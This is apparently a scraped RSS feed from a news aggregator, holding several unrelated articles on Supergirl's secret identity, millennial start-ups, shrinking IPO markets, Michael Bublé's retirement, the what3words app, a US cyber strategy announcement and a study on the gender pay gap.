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]]> https://briefnews.eu/ben-elton-exclusive-its-a-myth-you-cant-speak-freely-anymore/feed/ 0 Is Supergirl Even Trying to Hide Her Secret Identity Anymore? https://briefnews.eu/is-supergirl-even-trying-to-hide-her-secret-identity-anymore/ https://briefnews.eu/is-supergirl-even-trying-to-hide-her-secret-identity-anymore/#respond Mon, 11 Mar 2019 23:13:25 +0000 http://briefnews.eu/is-supergirl-even-trying-to-hide-her-secret-identity-anymore/

It’s kind of ironic that so much of Supergirl‘s fourth season has focused on Kara’s struggle to conceal her secret identity from her enemies, because if you look at her recent behavior, it doesn’t seem like she’s trying very hard at all.

Before we get too deep into this, here’s a quick disclaimer: I understand that enjoying anything Super-related — be it a comic book, a movie or a TV show — requires a certain suspension of disbelief. I accept that Kara and Clark’s glasses are enough to shield their secret identities from the world at large, even from some of their closest friends and enemies.

But that’s what’s so puzzling about Kara’s recent behavior. For example, when she chose to attend the alien rights march in Sunday’s episode as the Girl of Steel, why did she announce herself to the crowd as “Kara Zor-El, citizen of Earth?” More specifically, why would she reveal her Kryptonian name — the first part of which is also used in her secret “human” alias — to a group of complete strangers?

Several TVLine readers also pointed out the scene in which Kara, dressed in her street clothes and glasses, arrived at J’onn’s office after scanning the globe for members of Manchester Black’s Elite. “I circled the earth twice, east to west … no sign of the Elite anywhere,” she announced — not seeming to mind that Menagerie, a volatile alien the team has in its custody, was sitting within earshot.

These could be dismissed as relatively minor oversights, but because so much of this show’s tension revolves around one specific secret, those oversights feel infinitely more substantial. That carelessness also makes it even more frustrating that some of Kara’s closest, most intelligent friends — including one whose name rhymes with Mena Muthor — have yet to crack her code, despite the fact that she’s barely even trying.

At this point, the only thing that could save Kara’s secret indefinitely would be Red Daughter’s arrival in National City. After all, if Supergirl’s doppelganger is seen standing next to Kara, they couldn’t possibly be the same person.

How do you feel about Kara’s apparent recklessness regarding her secret identity? Does she need to get her act together, or are we making too much out of a few minor slip-ups? Drop a comment with your thoughts below.

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]]> https://briefnews.eu/is-supergirl-even-trying-to-hide-her-secret-identity-anymore/feed/ 0 Start-Ups Aren’t Cool Anymore https://briefnews.eu/start-ups-arent-cool-anymore/ https://briefnews.eu/start-ups-arent-cool-anymore/#respond Wed, 05 Dec 2018 15:22:38 +0000 http://briefnews.eu/start-ups-arent-cool-anymore/ At happy hours and class breaks, at the part-time MBA program I attend through the University of Texas at Austin, the conversation often drifts toward new business ideas. A mobile app to schedule text messages in the future. (Use case: Compose your best friend’s happy birthday text the day before.) A social network that doesn’t sell your personal information or display any ads. (Business model innovation: monthly subscription fee.) A winery in a surprisingly temperate, beautiful, and affordable region of Central Oklahoma. A friend of mine was once so inspired by his own start-up concept that he pulled out his phone, checked the availability of his preferred URL, and registered the domain name on the spot.

Similar scenes play out at lots of business schools. The majority of MBA students range in age from the mid-20s to the 30s; with all the discussion of start-ups and new businesses, it would seem that they’re living the millennial dream of entrepreneurship. But it seems more often than not these days, the start-up ideas fail to take off. When I check on my peers’ start-up proposals after a few weeks, I often find that their ideas have been abandoned, and that my classmates are focused on their steady corporate jobs.

Research suggests entrepreneurial activity has declined among millennials. The share of people under 30 who own a business has fallen to almost a quarter-century low, according to a 2015 Wall Street Journal analysis of Federal Reserve data. A survey of 1,200 millennials conducted in 2016 by the Economic Innovation Group found that more millennials believed they could have a successful career by staying at one company and attempting to climb the ladder than by founding a new one. Two years ago, EIG’s president and co-founder, John Lettieri, testified before the U.S. Senate, “Millennials are on track to be the least entrepreneurial generation in recent history.”

Some of the reasons have been well-documented. The romantic view of entrepreneurship involves angel investors and venture capital funds, but in fact, the ordinary entrepreneur is more likely to fund a start-up using personal savings—something underemployed millennials simply could not build as they entered the workforce during or in the immediate wake of the Great Recession. Funding from friends and family is the next most common source, but this personal network could not help much during the most recent economic downturn, when so much home equity was underwater. Student debt worsened the underlying economic problems. According to a report by the Federal Reserve Bank of New York, between 2004 and 2014, the number of student borrowers rose by 89 percent.

[Read: Why does Sweden have so many start-ups?]

Lately, though, it seems that even those who might typically have access to other forms of funding, like venture capital, are having a hard time getting investors’ attention. As Matt Krisiloff, a former director at the Y Combinator start-up accelerator in Silicon Valley, tweeted, “Start-ups are a lot less cool than they used to be.” Michael Sadler, an economist at the University of Texas at Austin, is concerned about the rising concentration of start-up investment in just a few super-performing regions such as Austin, New York, and Silicon Valley. As with American politics, it appears the geography of U.S. venture capital and economic growth has become increasingly polarized.

There’s more competition from abroad, too. Chinese venture capital and private-equity firms—and the entrepreneurs they invest in—are challenging America’s historic tech dominance. In the past, this kind of investing tended to involve American funders and American companies. But last year, Asian investors put nearly the same amount into tech start-ups as their U.S. counterparts, according to the Wall Street Journal, with most Chinese-led investments going into the country’s own firms. Of the top five global VC deals in 2017, three were Chinese companies: Didi (a ride-sharing app), Meituan-Dianping (an ecommerce platform), and Toutiao (a news feed reader).

Meanwhile, in the United States, products and services are increasingly being created on top of existing platforms like Apple’s iOS or Google’s Android platform. While a mobile app can make for a decent side hustle to a regular corporate job, it won’t turn into the next Apple or Google, and American investors know that. The more attractive investments are in industries like health care, where there is still opportunity to build a profitable platform. One of the biggest tech deals in the U.S. last year was Outcome Health, which installs video screens in doctors’ offices and charges pharmaceutical companies to display ads to patients. In a thread attached to his tweet about start-ups, Krisiloff, the former Y Combinator executive, added that the opportunities “to start compelling start-ups,” for college students without industry-specific knowledge, “has vastly shrunk.”

[Read: The secret start-up that saved the worst website in America]

While the Austrian American economist Joseph Schumpeter is best known for his 1942 paper describing his theory of “creative destruction,” the process of disrupting existing industries through business innovation or technological change, few people know about another prediction he made: He believed that innovation would gradually become an embedded process within large corporations. In many ways, Schumpeter predicted the internal innovation hubs of corporate giants like Amazon and SAP. With incumbents making innovation part of their established routines, he theorized, they would gradually squeeze out the traditional entrepreneur.

Some of the people who are innovating from within companies like Apple—which in August became the first publicly traded company to surpass a market value of a trillion dollars—might be glad about this development, Sadler said. “They think, ‘I don’t have to start up my own company in the garage, or worry about whether I’m ever going to survive. It’s all there for me now.’” But there is plenty of cause for concern. An economy dominated by older incumbent firms may be less likely to achieve consistently strong rates of growth, according to a 2014 paper from the Brookings Institution. Lettieri also questions whether big companies—in a world with less pressure from start-ups—“have any reason to innovate due to competition.”

When my classmates tell me about their start-up ideas, we sometimes also talk about what’s holding them back. Whether it’s student-loan payments, or the feeling of playing an impossible game of catch-up since the Great Recession, we often understand each other’s problems. Some entrepreneurs might argue that these shared generational experiences and the accompanying sense of solidarity will inspire millennials to support one another’s business ventures. It’s a nice idea, but it’s not necessarily certain. Research into the personality traits of entrepreneurs shows that, as a lot, they trend toward optimism bias.

]]> https://briefnews.eu/start-ups-arent-cool-anymore/feed/ 0 Michael Bublé says he is quitting music following his son’s cancer battle: ‘I don’t have the stomach for it anymore’ https://briefnews.eu/michael-buble-says-he-is-quitting-music-following-his-sons-cancer-battle-i-dont-have-the-stomach-for-it-anymore/ https://briefnews.eu/michael-buble-says-he-is-quitting-music-following-his-sons-cancer-battle-i-dont-have-the-stomach-for-it-anymore/#respond Sun, 14 Oct 2018 22:30:22 +0000 http://briefnews.eu/michael-buble-says-he-is-quitting-music-following-his-sons-cancer-battle-i-dont-have-the-stomach-for-it-anymore/ Michael BubleCameron Spencer/GettyImages

  • Michael Bublé told the Daily Mail that he’s quitting the music industry following his son’s heartbreaking battle with liver cancer. 
  • Bublé also said he was done with social media and doesn’t want anything to do with “celebrity narcissism.”
  • His new and likely final album, “Love,” is set to be released November 16.

In an interview with Daily Mail’s Weekend magazine on Saturday, Michael Bublé revealed that he’s not only done with music but with the celebrity lifestyle as well. 

“This is my last interview,” he told the magazine. “I’m retiring from the business. I’ve made the perfect record and now I can leave at the very top.”

See the rest of the story at Business Insider

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]]> https://briefnews.eu/michael-buble-says-he-is-quitting-music-following-his-sons-cancer-battle-i-dont-have-the-stomach-for-it-anymore/feed/ 0 Companies Aren’t Going Public Anymore https://briefnews.eu/companies-arent-going-public-anymore/ https://briefnews.eu/companies-arent-going-public-anymore/#respond Tue, 09 Oct 2018 17:28:16 +0000 http://briefnews.eu/companies-arent-going-public-anymore/
Tyler Comrie

One week this summer, the Nasdaq stock market listed five recent initial public offerings, including Sonos, the home-audio company, and Vaccinex, which makes a promising cancer drug. That same week, an investor looking at Nasdaq’s Listing Center would have seen the names of 16 stocks set to disappear. The reasons for the delistings varied. Synchronoss Technologies, a software company, had failed to file financial reports since February 2017. Abaxis, a veterinary-diagnostics firm, was being acquired by Zoetis. Capella Education was merging with Strayer Education (both operate for-profit schools).

The week was representative of the past two decades. In 1997, during the dot-com boom, there were 8,884 companies listed on U.S. exchanges, primarily on Nasdaq and the New York Stock Exchange. Since then, the number has been cut by more than half. The pace of decline has been gradual, unaffected by the dot-com bust, the financial crisis, or subsequent recoveries. A two-decade chart showing the number of public companies looks like a slide at a children’s playground, slowly but surely going down.

Should we be concerned? Stock-exchange officials certainly are. Last year, Thomas Farley, then the head of the NYSE Group, said the drop “may severely limit [companies’ opportunities] for economic growth, hiring, and wealth creation.” Earlier this year, in her introduction to a white paper, Nasdaq’s CEO, Adena Friedman, warned that if the trend continues, “job creation and economic growth could suffer, and income inequality could worsen as average investors become increasingly shut out of the most attractive offerings.”

Of course, Farley and Friedman have a financial stake in the health of the exchanges. But there is a broader logic to their professed concerns. Traditionally, promising young companies turned to the public markets to raise capital in order to expand their operations; this gave individual investors a shot at owning a piece of those companies’ hoped-for success, either by buying their stocks directly or, more commonly, by holding them in a mutual fund or index fund. Today, more and more start-up companies secure funding from private investors, cutting most Americans out of the equation.

Robert J. Jackson Jr., a commissioner of the Securities and Exchange Commission who previously worked at Bear Stearns underwriting IPOs, told me there can be real distributive consequences when the highest-growth companies are private. If many of the economy’s greatest success stories aren’t included in the funds that ordinary Americans hold, only the wealthiest members of society will enjoy the gains, intensifying inequality. “It’s a good enough argument for me to care about wanting more companies to be public,” Jackson said. SEC Chair Jay Clayton agrees. In his first major speech, he warned: “The potential lasting effects of such an outcome to the economy and society are, in two words, not good.”

The initial public offering was once the ultimate marker of start-up success. Founders of a company might get their idea off the ground by asking family members and friends for seed money, then turn to angel funders, venture capitalists, and private-equity investors to keep the lights on during the fledgling years. But the goal was typically an IPO. Historically, private investors have been willing to risk only relatively small amounts with any one company, and they have tended to exit any investment within a few years. The IPO gave a thriving company a base of capital and announced to the world that it had arrived. Throughout the 20th century, one of the most revered symbols of a mature business was the framed ceremonial gavel its managers had used to ring the New York Stock Exchange bell.

An IPO is still the best means for many companies to obtain liquidity; selling shares on a public exchange remains easier and cheaper than in the private markets. But staying private has, for a variety of reasons, become more alluring than it used to be.

Going public is expensive. Investment bankers, lawyers, and auditors collectively charge millions of dollars to prepare the lengthy registration statement that must be filed with the SEC before shares can be sold. And that’s just the beginning. It costs millions more to comply with ongoing-disclosure requirements. Public companies also incur the harder-to-quantify costs of opening their books to the scrutiny of securities analysts, activist investors, the media, and short sellers. Equitable Financial, a Nebraska bank operator that delisted from Nasdaq this summer, said it was doing so in order “to eliminate the administrative and annual fees associated with being listed on Nasdaq.”

The steady deregulation of private markets is at least as important a factor as the high costs of going—and staying—public. For decades, because of securities laws passed in the wake of the Great Depression, firms could raise only small amounts of money without triggering public-reporting requirements. But the National Securities Markets Improvement Act of 1996 made it easier for private companies to sell stock to “qualified purchasers,” meaning large institutions and wealthy investors. In 2012, Congress increased the allowed number of investors in large private firms from 500 to 2,000. The SEC, meanwhile, adopted rules that encouraged “private placements,” which permitted private firms to raise millions of dollars while avoiding public reporting. Today, some in Congress and at the SEC fret about the size and influence of private markets, but they are at least partly responsible for those markets’ rapid growth.

Private assets under management totaled less than $ 1 trillion in 2000; they surpassed $ 5 trillion last year. In this climate, many companies no longer need an IPO to raise capital. When a handful of start-ups recently began putting rental scooters and bikes at strategic points in urban areas, the idea quickly spread, and hundreds of millions of dollars of private money soon followed. Bird, Lime, and Spin didn’t need an IPO; there was plenty of private cash to go around.

The shrinking of public markets has undoubtedly altered the playing field for average investors, but it is important to be precise about how. The total number of public companies is much lower today than during the 1990s, but the total value of public companies has increased. Jay Ritter, a finance professor at the University of Florida, is widely regarded as the leading scholar studying IPOs. When I asked him about the sharp decline in public companies, he was surprisingly sanguine. Ritter isn’t especially concerned about the growth of private markets, or even the decline in IPOs. Instead, he says the most significant change is that both public and private companies are bigger, mainly because technology is reducing costs and creating incentives to scale.

Consider Alphabet, Google’s parent company, which has spent tens of billions of dollars buying hundreds of other companies, sometimes at a rate of one acquisition a week. Before the 1990s, many of these acquired companies—Android, Waze, YouTube—would have gone public on their own rather than accepting an offer from an industry giant. But today almost 90 percent of venture-capital-backed firms seek to be acquired. In this sense, publicly traded companies aren’t really disappearing; they are consolidating. The phenomenon isn’t limited to the tech giants; other large public companies, including Anheuser-Busch InBev, General Electric, and Procter & Gamble, are also growing larger and more acquisitive. Coca-Cola has spent billions buying a range of businesses recently, including Costa Coffee, the U.K.-based chain, and several Latin American beverage sellers.

What does it mean for the average investor to own bigger stocks? Instead of buying stock in a collection of separate public companies, when you buy a share of Alphabet or Coca-Cola, you get many businesses wrapped up in one big package. You can’t always get detailed information about the performance of subsidiaries and divisions; if you own shares in those big companies, you just have to hope that the component parts are profitable and that their profits flow through to the parent company’s bottom line.

Still, buying big public companies is becoming a sure way to buy lots of small private ones. Many large public companies—including Intel, Johnson & Johnson, and Time Warner—have divisions that are explicitly tasked with investing in and sometimes acquiring private companies (some invest in public companies, too). When SoftBank Group, a Japanese conglomerate, created its Vision Fund last year to invest in technology companies, both private and public, some of the fund’s $ 100 billion came from Apple and Qualcomm.

All of this consolidation does pose challenges for investors. Traditionally, small stocks have delivered both higher risk and higher returns; if you own shares in an index fund, consolidation means you have less exposure to small stocks than in the past. If you want that exposure, you probably need to rejigger which funds you own. An SEC rule permits mutual funds to invest up to 15 percent of their assets in private companies, and more are doing so, although most actively traded funds remain below that limit. As of July, the 12th-largest investment in the $ 25 billion–plus Fidelity Blue Chip Growth Fund—behind Tesla and Home Depot but ahead of Mastercard and Netflix—was a $ 438 million stake in Juul, the private company behind the wildly popular vaping device.

The ways in which average investors can participate in the private market are imperfect. Unless you are very wealthy or well connected, you probably are not going to be buying into the leading venture-capital funds, such as Andreessen Horowitz and Sequoia Capital. We should be wary, however, of accepting a romantic notion of the past in which Wall Street was a level playing field for individual investors. When I was at Morgan Stanley in the 1990s, the bank’s senior employees had special access to a private-equity partnership called Princes Gate, which made early-stage investments in companies like Au Bon Pain and Cannondale and generated 30 percent–plus annual returns. Average investors were not invited. The markets have always been split, in some ways, between haves and have-nots.

As for public markets, there are responsible ways to encourage small-company IPOs. In July, lawmakers in the House of Representatives introduced a proposal to study the problem of high IPO fees for companies with less than $ 1 billion in revenue. Bigger companies can negotiate lower underwriting fees; Facebook, for instance, paid a 1.1 percent fee, whereas most smaller companies pay 7 percent. SEC Commissioner Jackson labels these high fees a “middle-market tax,” which deters small and midsize companies from going public. He’s called on investment bankers to price IPO fees more competitively. “We’ll be watching,” he told me.

But let’s not fall back into the trap of viewing an IPO as good in and of itself. IPOs are often poor investments; one reason we see fewer of them today is that many investors were burned by dot-com companies that promised riches and then collapsed.

It’s a lesson worth remembering, even as the action in the economy continues its shift from public to private markets. In late August, Jay Clayton announced that the SEC was working on adjusting the current rules to make it easier for average investors to take part in private investment. But the existing barriers were put in place for a reason: They make it harder for closely held companies to take advantage of unsophisticated investors. Before buying a piece of that private purveyor of celery soda, consider an alternative that might give you similar exposure, and less risk: a good old-fashioned share of Coca-Cola.

This article appears in the November 2018 print edition with the headline “Private Inequity.”

]]> https://briefnews.eu/companies-arent-going-public-anymore/feed/ 0 Lost? Not anymore: The app that can find places that don’t have an address https://briefnews.eu/lost-not-anymore-the-app-that-can-find-places-that-dont-have-an-address/ https://briefnews.eu/lost-not-anymore-the-app-that-can-find-places-that-dont-have-an-address/#respond Wed, 26 Sep 2018 23:56:22 +0000 http://briefnews.eu/lost-not-anymore-the-app-that-can-find-places-that-dont-have-an-address/
Lottie Gross


Lottie Gross
September 26, 2018

Forever getting lost? This game-changing app is mapping the world—every three square meters at a time—meaning you can find your way even in places without street signs.

“Meet at Valero Square” the instructions said. It sounded so simple, but was easier said than done. I stood there, with a noisy construction site to one side and a smattering of busy cafés on the other, cut right down the middle by a sci-fi-looking tram line and traffic-packed road, searching for a stranger called Maria.

I was in Jerusalem, looking for the tour guide who was to show me around the food paradise that is Machane Yehuda Market—a place that would be impossible to navigate without local knowledge and an understanding of the Hebrew alphabet. Stalls, restaurants, bakeries and bars are packed in so tightly, it’s hard to see where one ends and the other begins—finding a specific establishment can seem borderline impossible.

This is my perpetual problem as a traveler. My propensity to visit far-flung places, where not only the language is different but the alphabet too, presents one consistent problem: Getting around.

In many destinations—in Dubai, for example—a simple Google Maps search for a hotel, restaurant or attraction name will throw up a pretty accurate result.

But in countries where addressing systems aren’t standardized, or vast remote landscapes without road names or street signs make up a nation’s geography, Google Maps just doesn’t cut it. This is why, in 2018, Lonely Planet adopted a new system of addressing for their Mongolia guidebook: The what3words way.

RELATED: How to virtually ‘hike’ South Africa’s national parks

Using a randomly-generated three-word address for every three-meter-by-three-meter square, the what3words system works globally, from the favelas in Rio to the mountains of Nepal. The very desk I’m writing this at has its own address (///jumpy.lost.always, if you must know), and Lonely Planet’s offices have theirs (///reader.life.begins), significantly more poetic than my chosen workplace.

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]]> https://briefnews.eu/lost-not-anymore-the-app-that-can-find-places-that-dont-have-an-address/feed/ 0 ‘Our hands are not tied’ anymore: White House approves offensive US cyber strategy https://briefnews.eu/our-hands-are-not-tied-anymore-white-house-approves-offensive-us-cyber-strategy/ https://briefnews.eu/our-hands-are-not-tied-anymore-white-house-approves-offensive-us-cyber-strategy/#respond Thu, 20 Sep 2018 22:01:59 +0000 http://briefnews.eu/our-hands-are-not-tied-anymore-white-house-approves-offensive-us-cyber-strategy/

US President Donald Trump has signed off on a new cyber strategy – the first such document in 15 years – outlining defensive priorities and threatening offensive action against foreign hackers.

“Today the president signed a national cyber strategy, the first fully articulated cyber strategy in 15 years,” National Security Adviser John Bolton told reporters on Thursday. “The strategy takes effect today.”

The 35-page document, made public by the White House, is the first time the US has articulated an offensive cyber strategy. It rolls back many of the restrictions placed on Washington’s digital warriors under Trump’s predecessor, according to Bolton.

“Our hands are not tied, as they were in the Obama administration,” Bolton said. “Our presidential directive effectively reversed those restraints, enabling offensive cyber operations through the relevant departments.”

Any country that takes cyber activity against the US can expect Washington to “respond offensively as well as defensively,” Bolton added. “Beyond that, I’m just not going to go at this point.”

The primary goal of the strategy, according to Bolton, is to secure critical government and infrastructure systems, improve incident reporting, and fight cyber crime. There will also be a focus on attributing cyber attacks, in order to create “norms of responsible state behavior.” The strategy also seeks to promote open, reliable and interoperable internet worldwide, Bolton said.

Among the listed goals was also the development of a “superior cybersecurity workforce” and promotion of US innovation in cybersecurity.

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]]> https://briefnews.eu/our-hands-are-not-tied-anymore-white-house-approves-offensive-us-cyber-strategy/feed/ 0 A Woman’s Paycheck Is Influenced by Her Hometown—Even If She Doesn’t Live There Anymore https://briefnews.eu/a-womans-paycheck-is-influenced-by-her-hometown-even-if-she-doesnt-live-there-anymore/ https://briefnews.eu/a-womans-paycheck-is-influenced-by-her-hometown-even-if-she-doesnt-live-there-anymore/#respond Tue, 21 Aug 2018 09:58:13 +0000 http://briefnews.eu/a-womans-paycheck-is-influenced-by-her-hometown-even-if-she-doesnt-live-there-anymore/ At this point, the fact that women in the United States earn about about 80 cents to each dollar earned by men is so commonly known that it’s become both a perverse, if slightly tired, punch line and a litmus test in the culture wars.

But there’s plenty of variation under that top-line statistic. The wage gap is worse, for example, for women of color and for all women in prestigious, well-paying fields like finance and law. Even less often discussed: Geography accounts for 0.3 percent of the gap between male and female wages—which doesn’t sound like a lot, but adds up to more than $ 2 billion a year nationwide. In Montana, women earn 73 cents to the dollar on average; in Louisiana, they earn 69 cents.

One common explanation for the geographical differences is the fact that some states set a minimum wage that is higher than the national minimum wage. Since women make up nearly two-thirds of minimum-wage workers, those states’ policies raise the pay, on average, of female workers. This would seem to suggest that if a women wants to earn more, she can simply pick up and move elsewhere. But a working paper published Monday by three economists—Kerwin Kofi Charles of the University of Chicago, Jonathan Guryan of Northwestern University, and Jessica Pan of the National University of Singapore—complicates that notion.

What gender pay-gap statistics aren’t capturing

Charles and his colleagues wanted to find out how sexism in a person’s birth state—as measured by people’s answers to survey questions about gender roles, such as, “Would you vote a female for President?”—might affect her workforce participation and earnings relative to men, even after she moves to another state. They studied groups of men and women who were born in one state but were living in another (focusing only on white people, to isolate gender effects from racial ones), and found that, on average, a difference of one standard deviation in the home states’ level of sexism—the difference between, say, California and Mississippi, or between Minnesota and Texas—accounted for a 0.8 percent drop in women’s participation in the labor force. The women from places with more sexist attitudes tended to earn less, too. “Where you live now matters more—but where you’re from matters a lot,” Charles told me.

The economists didn’t research why this was the case, but Charles theorized that it had something to do with the persistence of the cultural values we’re exposed to when we’re young. “My taste for a particular cuisine and my accent—there’s a little bit that I carry with me,” he told me. The same could be true, he said, of attitudes about a woman’s societal role—the age at which she should marry and bear children, for example, or the acceptability of negotiating for higher wages at work.

If this is a startling finding, perhaps it shouldn’t be. In fact, as Matthew Stewart has written in this magazine, intergenerational mobility in the U.S.—in essence, a person’s likelihood of being more financially successful than his or her parents—has declined over the past several decades. By one common measure, the relationship between a person’s financial well-being and her parents’ is stronger in the U.S. than in almost any other developed country. “In America,” Stewart writes, “the game is half over once you’ve selected your parents.” Add Charles and his colleagues’ findings, then, to the rising pile of evidence countering the idea that Americans, simply by virtue of being American, can rise above their station.

]]> https://briefnews.eu/a-womans-paycheck-is-influenced-by-her-hometown-even-if-she-doesnt-live-there-anymore/feed/ 0 ‘Hereditary’ Proves Satanists Just Aren’t Scary Anymore https://briefnews.eu/hereditary-proves-satanists-just-arent-scary-anymore/ https://briefnews.eu/hereditary-proves-satanists-just-arent-scary-anymore/#respond Sat, 14 Jul 2018 18:42:43 +0000 http://briefnews.eu/hereditary-proves-satanists-just-arent-scary-anymore/ The new horror movie is very frightening—but not entirely because of its occult twist.


https://media.wired.com/photos/5b4796c7554d241659edeb7a/master/pass/hereditary_SCREENSHOT_6_edit.jpg

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